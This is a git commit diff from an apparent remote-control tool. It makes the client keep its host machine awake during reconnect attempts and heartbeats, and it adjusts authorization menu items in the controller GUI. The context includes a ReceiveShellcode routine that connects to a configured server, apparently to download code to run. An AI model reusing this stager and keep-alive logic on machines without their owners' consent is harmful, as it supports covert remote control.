Improve: Avoid client computer going to sleep

This commit is contained in:
yuanyuanxiang
2025-07-26 22:49:57 +08:00
parent 43aa89b96d
commit b9228cf1e1
4 changed files with 15 additions and 1 deletions

View File

@@ -517,6 +517,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
{ {
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10)); for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
continue; continue;
} }
SAFE_DELETE(Manager); SAFE_DELETE(Manager);
@@ -529,6 +530,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
do do
{ {
Manager->SendHeartbeat(); Manager->SendHeartbeat();
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app)); } while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app)) while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
Sleep(200); Sleep(200);

View File

@@ -131,6 +131,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
serverAddr.sin_addr.s_addr = inet_addr(serverIP); serverAddr.sin_addr.s_addr = inet_addr(serverIP);
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(clientSocket); closesocket(clientSocket);
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
continue; continue;
} }

View File

@@ -175,6 +175,7 @@ public:
serverAddr.sin_addr.s_addr = inet_addr(ip.c_str()); serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(clientSocket); closesocket(clientSocket);
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
continue; continue;
} }
#ifdef _DEBUG #ifdef _DEBUG

View File

@@ -464,9 +464,13 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
m_MainMenu.LoadMenu(IDR_MENU_MAIN); m_MainMenu.LoadMenu(IDR_MENU_MAIN);
CMenu* SubMenu = m_MainMenu.GetSubMenu(1); CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
std::string masterHash(GetMasterHash()); std::string masterHash(GetMasterHash());
if (GetPwdHash() != masterHash) { if (GetPwdHash() != masterHash || m_superPass.empty()) {
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND); SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
} }
SubMenu = m_MainMenu.GetSubMenu(2);
if (!THIS_CFG.GetStr("settings", "Password").empty()) {
SubMenu->DeleteMenu(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND);
}
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //为窗口设置菜单 ::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //为窗口设置菜单
::DrawMenuBar(this->GetSafeHwnd()); //显示菜单 ::DrawMenuBar(this->GetSafeHwnd()); //显示菜单
@@ -1287,6 +1291,12 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]); Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]);
Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]); Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]);
std::string masterHash(GetMasterHash());
if (GetPwdHash() != masterHash || m_superPass.empty()) {
Menu.DeleteMenu(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND);
Menu.DeleteMenu(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND);
}
// 创建一个新的子菜单 // 创建一个新的子菜单
CMenu newMenu; CMenu newMenu;
if (!newMenu.CreatePopupMenu()) { if (!newMenu.CreatePopupMenu()) {